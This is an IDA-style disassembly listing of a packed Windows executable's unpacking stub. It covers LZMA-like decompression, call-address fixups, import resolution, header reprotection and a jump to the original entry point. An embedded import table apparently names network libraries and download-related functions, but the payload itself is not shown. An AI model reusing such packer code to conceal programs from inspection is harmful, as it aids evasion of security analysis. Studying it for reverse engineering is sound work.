loc_9C56CD:				; CODE XREF: .text:009C56BEj
		cmp	dword ptr [esp+60h], 9
		jg	short loc_9C56DE
		sub	dword ptr [esp+60h], 3
		jmp	loc_9C5DE8
; ---------------------------------------------------------------------------


loc_9C56DE:				; CODE XREF: .text:009C56D2j
		sub	dword ptr [esp+60h], 6
		jmp	loc_9C5DE8
; ---------------------------------------------------------------------------


loc_9C56E8:				; CODE XREF: .text:009C5505j
		mov	ecx, [esp+48h]
		sub	edi, eax
		mov	esi, [esp+60h]
		sub	ecx, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		cmp	ecx, 0FFFFFFh
		mov	[ebp+0], dx
		mov	ebp, [esp+78h]
		lea	esi, [ebp+esi*2+0]
		mov	[esp+38h], esi
		ja	short loc_9C572B
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	ecx, 8
		inc	ebx
		or	edi, eax


loc_9C572B:				; CODE XREF: .text:009C5713j
		mov	ebp, [esp+38h]
		mov	eax, ecx
		shr	eax, 0Bh
		mov	dx, [ebp+180h]
		movzx	ebp, dx
		imul	eax, ebp
		cmp	edi, eax
		jnb	short loc_9C5797
		mov	esi, eax
		mov	eax, 800h
		sub	eax, ebp
		mov	ebp, [esp+58h]
		sar	eax, 5
		mov	ecx, [esp+54h]
		lea	eax, [edx+eax]
		mov	edx, [esp+38h]
		mov	[esp+50h], ecx
		mov	ecx, [esp+78h]
		mov	[edx+180h], ax
		mov	eax, [esp+5Ch]
		mov	[esp+54h], ebp
		mov	[esp+58h], eax
		xor	eax, eax
		cmp	dword ptr [esp+60h], 6
		setnle	al
		add	ecx, 664h
		lea	eax, [eax+eax*2]
		mov	[esp+60h], eax
		jmp	loc_9C5A0B
; ---------------------------------------------------------------------------


loc_9C5797:				; CODE XREF: .text:009C5743j
		mov	esi, ecx
		sub	edi, eax
		sub	esi, eax
		mov	eax, edx
		shr	ax, 5
		mov	ecx, [esp+38h]
		sub	dx, ax
		cmp	esi, 0FFFFFFh
		mov	[ecx+180h], dx
		ja	short loc_9C57CF
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	esi, 8
		inc	ebx
		or	edi, eax


loc_9C57CF:				; CODE XREF: .text:009C57B7j
		mov	ebp, [esp+38h]
		mov	edx, esi
		shr	edx, 0Bh
		mov	cx, [ebp+198h]
		movzx	eax, cx
		imul	edx, eax
		cmp	edi, edx
		jnb	loc_9C58D0
		mov	ebp, 800h
		mov	esi, edx
		sub	ebp, eax
		mov	dword ptr [esp+34h], 800h
		mov	eax, ebp
		sar	eax, 5
		lea	eax, [ecx+eax]
		mov	ecx, [esp+38h]
		mov	[ecx+198h], ax
		mov	eax, [esp+60h]
		mov	ecx, [esp+44h]
		shl	eax, 5
		add	eax, [esp+78h]
		cmp	edx, 0FFFFFFh
		lea	ebp, [eax+ecx*2]
		ja	short loc_9C5841
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	esi, 8
		inc	ebx
		or	edi, eax


loc_9C5841:				; CODE XREF: .text:009C5829j
		mov	dx, [ebp+1E0h]
		mov	eax, esi
		shr	eax, 0Bh
		movzx	ecx, dx
		imul	eax, ecx
		cmp	edi, eax
		jnb	short loc_9C58B7
		sub	[esp+34h], ecx
		sar	dword ptr [esp+34h], 5
		mov	esi, [esp+34h]
		mov	[esp+48h], eax
		cmp	dword ptr [esp+74h], 0
		lea	eax, [edx+esi]
		mov	[ebp+1E0h], ax
		jz	loc_9C5E10
		xor	eax, eax
		cmp	dword ptr [esp+60h], 6
		mov	ebp, [esp+0A0h]
		mov	edx, [esp+74h]
		setnle	al
		lea	eax, [eax+eax+9]
		mov	[esp+60h], eax
		mov	eax, [esp+74h]
		sub	eax, [esp+5Ch]
		mov	al, [ebp+eax+0]
		mov	[esp+73h], al
		mov	[edx+ebp], al
		inc	edx
		mov	[esp+74h], edx
		jmp	loc_9C5DE8
; ---------------------------------------------------------------------------


loc_9C58B7:				; CODE XREF: .text:009C5855j
		sub	esi, eax
		sub	edi, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		mov	[ebp+1E0h], dx
		jmp	loc_9C59EF
; ---------------------------------------------------------------------------


loc_9C58D0:				; CODE XREF: .text:009C57E7j
		mov	eax, ecx
		sub	esi, edx
		shr	ax, 5
		mov	ebp, [esp+38h]
		sub	cx, ax
		sub	edi, edx
		cmp	esi, 0FFFFFFh
		mov	[ebp+198h], cx
		ja	short loc_9C5906
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	esi, 8
		inc	ebx
		or	edi, eax


loc_9C5906:				; CODE XREF: .text:009C58EEj
		mov	ecx, [esp+38h]
		mov	eax, esi
		shr	eax, 0Bh
		mov	dx, [ecx+1B0h]
		movzx	ecx, dx
		imul	eax, ecx
		cmp	edi, eax
		jnb	short loc_9C5943
		mov	esi, eax
		mov	eax, 800h
		sub	eax, ecx
		mov	ebp, [esp+38h]
		sar	eax, 5
		lea	eax, [edx+eax]
		mov	[ebp+1B0h], ax
		mov	eax, [esp+58h]
		jmp	loc_9C59E3
; ---------------------------------------------------------------------------


loc_9C5943:				; CODE XREF: .text:009C591Ej
		mov	ecx, esi
		sub	edi, eax
		sub	ecx, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		mov	eax, [esp+38h]
		cmp	ecx, 0FFFFFFh
		mov	[eax+1B0h], dx
		ja	short loc_9C597B
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	ecx, 8
		inc	ebx
		or	edi, eax


loc_9C597B:				; CODE XREF: .text:009C5963j
		mov	esi, [esp+38h]
		mov	eax, ecx
		shr	eax, 0Bh
		mov	dx, [esi+1C8h]
		movzx	ebp, dx
		imul	eax, ebp
		cmp	edi, eax
		jnb	short loc_9C59B5
		mov	esi, eax
		mov	eax, 800h
		sub	eax, ebp
		mov	ebp, [esp+38h]
		sar	eax, 5
		lea	eax, [edx+eax]
		mov	[ebp+1C8h], ax
		mov	eax, [esp+54h]
		jmp	short loc_9C59DB
; ---------------------------------------------------------------------------


loc_9C59B5:				; CODE XREF: .text:009C5993j
		mov	esi, ecx
		sub	edi, eax
		sub	esi, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		mov	eax, [esp+38h]
		mov	[eax+1C8h], dx
		mov	edx, [esp+54h]
		mov	eax, [esp+50h]
		mov	[esp+50h], edx


loc_9C59DB:				; CODE XREF: .text:009C59B3j
		mov	ecx, [esp+58h]
		mov	[esp+54h], ecx


loc_9C59E3:				; CODE XREF: .text:009C593Ej
		mov	ebp, [esp+5Ch]
		mov	[esp+5Ch], eax
		mov	[esp+58h], ebp


loc_9C59EF:				; CODE XREF: .text:009C58CBj
		xor	eax, eax
		cmp	dword ptr [esp+60h], 6
		mov	ecx, [esp+78h]
		setnle	al
		add	ecx, 0A68h
		lea	eax, [eax+eax*2+8]
		mov	[esp+60h], eax


loc_9C5A0B:				; CODE XREF: .text:009C5792j
		cmp	esi, 0FFFFFFh
		ja	short loc_9C5A29
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	esi, 8
		inc	ebx
		or	edi, eax


loc_9C5A29:				; CODE XREF: .text:009C5A11j
		mov	dx, [ecx]
		mov	eax, esi
		shr	eax, 0Bh
		movzx	ebp, dx
		imul	eax, ebp
		cmp	edi, eax
		jnb	short loc_9C5A6A
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, ebp
		shl	dword ptr [esp+44h], 4
		sar	eax, 5
		mov	dword ptr [esp+2Ch], 0
		lea	eax, [edx+eax]
		mov	[ecx], ax
		mov	eax, [esp+44h]
		lea	ecx, [ecx+eax+4]
		mov	[esp+10h], ecx
		jmp	short loc_9C5ADC
; ---------------------------------------------------------------------------


loc_9C5A6A:				; CODE XREF: .text:009C5A39j
		sub	esi, eax
		sub	edi, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		cmp	esi, 0FFFFFFh
		mov	[ecx], dx
		ja	short loc_9C5A98
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	esi, 8
		inc	ebx
		or	edi, eax


loc_9C5A98:				; CODE XREF: .text:009C5A80j
		mov	dx, [ecx+2]
		mov	eax, esi
		shr	eax, 0Bh
		movzx	ebp, dx
		imul	eax, ebp
		cmp	edi, eax
		jnb	short loc_9C5AE6
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, ebp
		shl	dword ptr [esp+44h], 4
		sar	eax, 5
		mov	dword ptr [esp+2Ch], 8
		lea	eax, [edx+eax]
		mov	edx, [esp+44h]
		mov	[ecx+2], ax
		lea	ecx, [ecx+edx+104h]
		mov	[esp+10h], ecx


loc_9C5ADC:				; CODE XREF: .text:009C5A68j
		mov	dword ptr [esp+30h], 3
		jmp	short loc_9C5B15
; ---------------------------------------------------------------------------


loc_9C5AE6:				; CODE XREF: .text:009C5AA9j
		sub	esi, eax
		sub	edi, eax
		mov	eax, edx
		mov	[esp+48h], esi
		shr	ax, 5
		mov	dword ptr [esp+2Ch], 10h
		sub	dx, ax
		mov	dword ptr [esp+30h], 8
		mov	[ecx+2], dx
		add	ecx, 204h
		mov	[esp+10h], ecx


loc_9C5B15:				; CODE XREF: .text:009C5AE4j
		mov	ecx, [esp+30h]
		mov	edx, 1
		mov	[esp+28h], ecx


loc_9C5B22:				; CODE XREF: .text:009C5B97j
		lea	ebp, [edx+edx]
		mov	esi, [esp+10h]
		add	esi, ebp
		cmp	dword ptr [esp+48h], 0FFFFFFh
		ja	short loc_9C5B4D
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_9C5B4D:				; CODE XREF: .text:009C5B33j
		mov	eax, [esp+48h]
		mov	dx, [esi]
		shr	eax, 0Bh
		movzx	ecx, dx
		imul	eax, ecx
		cmp	edi, eax
		jnb	short loc_9C5B79
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, ecx
		sar	eax, 5
		lea	eax, [edx+eax]
		mov	edx, ebp
		mov	[esi], ax
		jmp	short loc_9C5B8E
; ---------------------------------------------------------------------------


loc_9C5B79:				; CODE XREF: .text:009C5B5Fj
		sub	[esp+48h], eax
		sub	edi, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		mov	[esi], dx
		lea	edx, [ebp+1]


loc_9C5B8E:				; CODE XREF: .text:009C5B77j
		mov	esi, [esp+28h]
		dec	esi
		mov	[esp+28h], esi
		jnz	short loc_9C5B22
		mov	cl, [esp+30h]
		mov	eax, 1
		shl	eax, cl
		sub	edx, eax
		add	edx, [esp+2Ch]
		cmp	dword ptr [esp+60h], 3
		mov	[esp+0Ch], edx
		jg	loc_9C5DA0
		add	dword ptr [esp+60h], 7
		cmp	edx, 3
		mov	eax, edx
		jle	short loc_9C5BCA
		mov	eax, 3


loc_9C5BCA:				; CODE XREF: .text:009C5BC3j
		mov	esi, [esp+78h]
		shl	eax, 7
		mov	dword ptr [esp+24h], 6
		lea	eax, [esi+eax+360h]
		mov	[esp+8], eax
		mov	eax, 1


loc_9C5BE9:				; CODE XREF: .text:009C5C5Ej
		lea	ebp, [eax+eax]
		mov	esi, [esp+8]
		add	esi, ebp
		cmp	dword ptr [esp+48h], 0FFFFFFh
		ja	short loc_9C5C14
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_9C5C14:				; CODE XREF: .text:009C5BFAj
		mov	eax, [esp+48h]
		mov	dx, [esi]
		shr	eax, 0Bh
		movzx	ecx, dx
		imul	eax, ecx
		cmp	edi, eax
		jnb	short loc_9C5C40
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, ecx
		sar	eax, 5
		lea	eax, [edx+eax]
		mov	[esi], ax
		mov	eax, ebp
		jmp	short loc_9C5C55
; ---------------------------------------------------------------------------


loc_9C5C40:				; CODE XREF: .text:009C5C26j
		sub	[esp+48h], eax
		sub	edi, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		lea	eax, [ebp+1]
		mov	[esi], dx


loc_9C5C55:				; CODE XREF: .text:009C5C3Ej
		mov	ebp, [esp+24h]
		dec	ebp
		mov	[esp+24h], ebp
		jnz	short loc_9C5BE9
		lea	edx, [eax-40h]
		cmp	edx, 3
		mov	[esp], edx
		jle	loc_9C5D96
		mov	eax, edx
		mov	esi, edx
		sar	eax, 1
		and	esi, 1
		lea	ecx, [eax-1]
		or	esi, 2
		cmp	edx, 0Dh
		mov	[esp+20h], ecx
		jg	short loc_9C5CA3
		mov	ebp, [esp+78h]
		shl	esi, cl
		add	edx, edx
		mov	[esp], esi
		lea	eax, [ebp+esi*2+0]
		sub	eax, edx
		add	eax, 55Eh
		mov	[esp+4], eax
		jmp	short loc_9C5CF9
; ---------------------------------------------------------------------------


loc_9C5CA3:				; CODE XREF: .text:009C5C85j
		lea	edx, [eax-5]


loc_9C5CA6:				; CODE XREF: .text:009C5CDCj
		cmp	dword ptr [esp+48h], 0FFFFFFh
		ja	short loc_9C5CC8
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_9C5CC8:				; CODE XREF: .text:009C5CAEj
		shr	dword ptr [esp+48h], 1
		add	esi, esi
		cmp	edi, [esp+48h]
		jb	short loc_9C5CDB
		sub	edi, [esp+48h]
		or	esi, 1


loc_9C5CDB:				; CODE XREF: .text:009C5CD2j
		dec	edx
		jnz	short loc_9C5CA6
		mov	eax, [esp+78h]
		shl	esi, 4
		mov	[esp], esi
		add	eax, 644h
		mov	dword ptr [esp+20h], 4
		mov	[esp+4], eax


loc_9C5CF9:				; CODE XREF: .text:009C5CA1j
		mov	dword ptr [esp+1Ch], 1
		mov	eax, 1


loc_9C5D06:				; CODE XREF: .text:009C5D90j
		mov	ebp, [esp+4]
		add	eax, eax
		mov	[esp+18h], eax
		add	ebp, eax
		cmp	dword ptr [esp+48h], 0FFFFFFh
		ja	short loc_9C5D34
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_9C5D34:				; CODE XREF: .text:009C5D1Aj
		mov	eax, [esp+48h]
		mov	dx, [ebp+0]
		shr	eax, 0Bh
		movzx	esi, dx
		imul	eax, esi
		cmp	edi, eax
		jnb	short loc_9C5D64
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, esi
		sar	eax, 5
		lea	eax, [edx+eax]
		mov	[ebp+0], ax
		mov	eax, [esp+18h]
		jmp	short loc_9C5D83
; ---------------------------------------------------------------------------


loc_9C5D64:				; CODE XREF: .text:009C5D47j
		sub	[esp+48h], eax
		sub	edi, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		mov	eax, [esp+18h]
		mov	[ebp+0], dx
		mov	edx, [esp+1Ch]
		inc	eax
		or	[esp], edx


loc_9C5D83:				; CODE XREF: .text:009C5D62j
		mov	ecx, [esp+20h]
		shl	dword ptr [esp+1Ch], 1
		dec	ecx
		mov	[esp+20h], ecx
		jnz	loc_9C5D06


loc_9C5D96:				; CODE XREF: .text:009C5C69j
		mov	esi, [esp]
		inc	esi
		mov	[esp+5Ch], esi
		jz	short loc_9C5DF9


loc_9C5DA0:				; CODE XREF: .text:009C5BB3j
		mov	ecx, [esp+0Ch]
		mov	ebp, [esp+74h]
		add	ecx, 2
		cmp	[esp+5Ch], ebp
		ja	short loc_9C5E10
		mov	eax, [esp+0A0h]
		mov	edx, ebp
		sub	eax, [esp+5Ch]
		add	edx, [esp+0A0h]
		lea	esi, [eax+ebp]


loc_9C5DC8:				; CODE XREF: .text:009C5DE4j
		mov	al, [esi]
		inc	esi
		mov	[esp+73h], al
		mov	[edx], al
		inc	edx
		inc	dword ptr [esp+74h]
		dec	ecx
		jz	short loc_9C5DE8
		mov	ebp, [esp+0A4h]
		cmp	[esp+74h], ebp
		jb	short loc_9C5DC8
		jmp	short loc_9C5DF9
; ---------------------------------------------------------------------------


loc_9C5DE8:				; CODE XREF: .text:009C56C8j
					; .text:009C56D9j ...
		mov	eax, [esp+0A4h]
		cmp	[esp+74h], eax
		jb	loc_9C54B4


loc_9C5DF9:				; CODE XREF: .text:009C5D9Ej
					; .text:009C5DE6j
		cmp	dword ptr [esp+48h], 0FFFFFFh
		ja	short loc_9C5E18
		cmp	ebx, [esp+4Ch]
		mov	eax, 1
		jz	short loc_9C5E37
		jmp	short loc_9C5E17
; ---------------------------------------------------------------------------


loc_9C5E10:				; CODE XREF: .text:009C548Ej
					; .text:009C54DEj ...
		mov	eax, 1
		jmp	short loc_9C5E37
; ---------------------------------------------------------------------------


loc_9C5E17:				; CODE XREF: .text:009C5E0Ej
		inc	ebx


loc_9C5E18:				; CODE XREF: .text:009C54AEj
					; .text:009C5E01j
		sub	ebx, [esp+94h]
		xor	eax, eax
		mov	edx, [esp+9Ch]
		mov	ecx, [esp+74h]
		mov	[edx], ebx
		mov	ebx, [esp+0A8h]
		mov	[ebx], ecx


loc_9C5E37:				; CODE XREF: .text:009C5E0Cj
					; .text:009C5E15j
		add	esp, 7Ch
		pop	ebx
		pop	esi
		pop	edi
		pop	ebp
		add	esi, [ebx-4]
		add	edi, [ebx-8]
		xor	eax, eax
		lea	ecx, [esp-100h]
		mov	esp, ebp


loc_9C5E4F:				; CODE XREF: .text:009C5E52j
		push	eax
		cmp	esp, ecx
		jnz	short loc_9C5E4F
		mov	esp, ebp
		xor	ecx, ecx
		pop	esi
		mov	edi, esi
		mov	ecx, 16800h
		jmp	short loc_9C5E94
; ---------------------------------------------------------------------------


loc_9C5E62:				; CODE XREF: .text:009C5EA1j
		mov	al, [edi]
		add	edi, 1
		cmp	al, 80h
		jb	short loc_9C5E75
		cmp	al, 8Fh
		ja	short loc_9C5E75
		cmp	byte ptr [edi-2], 0Fh
		jz	short loc_9C5E7B


loc_9C5E75:				; CODE XREF: .text:009C5E69j
					; .text:009C5E6Dj ...
		sub	al, 0E8h
		cmp	al, 1
		ja	short loc_9C5E9E


loc_9C5E7B:				; CODE XREF: .text:009C5E73j
		cmp	byte ptr [edi],	1
		jnz	short loc_9C5E9E
		mov	eax, [edi]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 4


loc_9C5E94:				; CODE XREF: .text:009C5E60j
		sub	ecx, 4
		mov	al, [edi]
		add	edi, 1
		loop	loc_9C5E75


loc_9C5E9E:				; CODE XREF: .text:009C5E79j
					; .text:009C5E7Ej
		sub	ecx, 1
		jg	short loc_9C5E62
		lea	edi, [esi+22000h]


loc_9C5EA9:				; CODE XREF: .text:009C5ECBj
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_9C5EF4
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+25000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+250F0h]
		xchg	eax, ebp


loc_9C5EC6:				; CODE XREF: .text:009C5EECj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_9C5EA9
		mov	ecx, edi
		jns	short near ptr loc_9C5ED7+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_9C5ED7:				; CODE XREF: .text:009C5ECFj
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+250F4h]
		or	eax, eax
		jz	short loc_9C5EEE
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_9C5EC6
; ---------------------------------------------------------------------------


loc_9C5EEE:				; CODE XREF: .text:009C5EE5j
		popa
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_9C5EF4:				; CODE XREF: .text:009C5EADj
		add	edi, 4
		lea	ebx, [esi-4]


loc_9C5EFA:				; CODE XREF: .text:009C5F16j
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_9C5F25
		cmp	al, 0EFh
		ja	short loc_9C5F18


loc_9C5F07:				; CODE XREF: .text:009C5F23j
		add	ebx, eax
		mov	eax, [ebx]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah
		add	eax, esi
		mov	[ebx], eax
		jmp	short loc_9C5EFA
; ---------------------------------------------------------------------------


loc_9C5F18:				; CODE XREF: .text:009C5F05j
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		jmp	short loc_9C5F07
; ---------------------------------------------------------------------------


loc_9C5F25:				; CODE XREF: .text:009C5F01j
		mov	ebp, [esi+250F8h]
		lea	edi, [esi-1000h]
		mov	ebx, 1000h
		push	eax
		push	esp
		push	4
		push	ebx
		push	edi
		call	ebp
		lea	eax, [edi+227h]
		and	byte ptr [eax],	7Fh
		and	byte ptr [eax+28h], 7Fh
		pop	eax
		push	eax
		push	esp
		push	eax
		push	ebx
		push	edi
		call	ebp
		pop	eax
		popa
		lea	eax, [esp-80h]


loc_9C5F59:				; CODE XREF: .text:009C5F5Dj
		push	0
		cmp	esp, eax
		jnz	short loc_9C5F59
		sub	esp, 0FFFFFF80h


loc_9C5F62:				; CODE XREF: .text:009C5375j
		jmp	start
; ---------------------------------------------------------------------------
		align 4
		dd 29h dup(0)
		dd 26158h, 260F0h, 3 dup(0)
		dd 26165h, 26108h, 3 dup(0)
		dd 26172h, 26110h, 3 dup(0)
		dd 2617Dh, 26118h, 3 dup(0)
		dd 26187h, 26120h, 3 dup(0)
		dd 26194h, 26128h, 3 dup(0)
		dd 261A0h, 26130h, 3 dup(0)
		dd 261ACh, 26138h, 3 dup(0)
		dd 261B7h, 26140h, 3 dup(0)
; ---------------------------------------------------------------------------
		retn	261h
; ---------------------------------------------------------------------------
		align 4
		dd 26148h, 3 dup(0)
		dd 261CEh, 26150h, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h
		dd 0
		dd 77DD7A80h, 0
		dd 77C36BD0h, 0
		dd 774FEF6Bh, 0
		dd 77124920h, 0
		dd 7CAB9576h, 0
		dd 77F67E3Ch, 0
		dd 78161DFDh, 0
		dd 7E423DCEh, 0
		dd 7806C865h, 0
		dd 71AB2BC0h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
		dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 656C6F00h
		dd 642E3233h, 4F006C6Ch, 5541454Ch, 2E323354h, 6C6C64h
		dd 4C454853h, 2E32334Ch, 6C6C64h, 574C4853h, 2E495041h
		dd 6C6C64h, 6D6C7275h, 642E6E6Fh, 55006C6Ch, 33524553h
		dd 6C642E32h, 4957006Ch, 454E494Eh, 6C642E54h, 5357006Ch
		dd 32335F32h, 6C6C642Eh, 6F4C0000h, 694C6461h, 72617262h
		dd 4179h, 50746547h, 41636F72h,	65726464h, 7373h, 74726956h
		dd 506C6175h, 65746F72h, 7463h,	74726956h, 416C6175h, 636F6C6Ch
		dd 69560000h, 61757472h, 6572466Ch, 65h, 65657246h, 646953h
		dd 62610000h, 73h, 6E496F43h, 61697469h, 657A696Ch, 7845h
		dd 65474853h, 65705374h, 6C616963h, 646C6F46h, 61507265h
		dd 416874h, 74530000h, 72745372h, 5749h, 6174624Fh, 73556E69h
		dd 67417265h, 53746E65h, 6E697274h, 67h, 44746547h, 7449676Ch
		dd 6D65h, 65746E49h, 74656E72h,	6E65704Fh, 41h,	25000h
		dd 0Ch,	337Dh, 356h dup(0)
		dd 4C010B31h
		db 0
		db 3 dup(?)
		dd 3FEh	dup(?)
_text		ends


		end start